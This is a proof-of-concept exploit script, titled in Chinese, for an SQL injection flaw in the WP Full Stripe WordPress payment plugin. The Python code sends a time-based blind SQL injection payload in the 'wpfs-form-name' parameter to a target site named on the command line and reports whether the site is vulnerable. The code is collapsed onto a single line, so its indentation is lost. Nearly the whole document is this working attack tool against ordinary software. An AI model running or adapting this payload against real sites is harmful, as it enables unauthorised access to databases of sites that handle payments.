CVE-2025-9322 WordPress WP Full Stripe插件SQL注入漏洞

import requests import sys # CVE-2025-9322 PoC - SQL Injection in WP Full Stripe Plugin # Target: WordPress site with WP Full Stripe plugin <= 8.3.1 # Parameter: wpfs-form-name target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Blind SQL Injection payload to extract database version # Using time-based blind injection technique payload_template = "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '%'='" # Construct the malicious request params = { 'wpfs-form-name': payload_template, 'action': 'wp_full_stripe_payment_form' } print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload_template}") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") if response.elapsed.total_seconds() >= 5: print("[+] Server is vulnerable! Time-based blind SQL injection confirmed.") else: print("[-] Server may not be vulnerable or target is not affected.") except requests.exceptions.Timeout: print("[+] Server is vulnerable! Request timed out as expected.") except Exception as e: print(f"[-] Error: {str(e)}")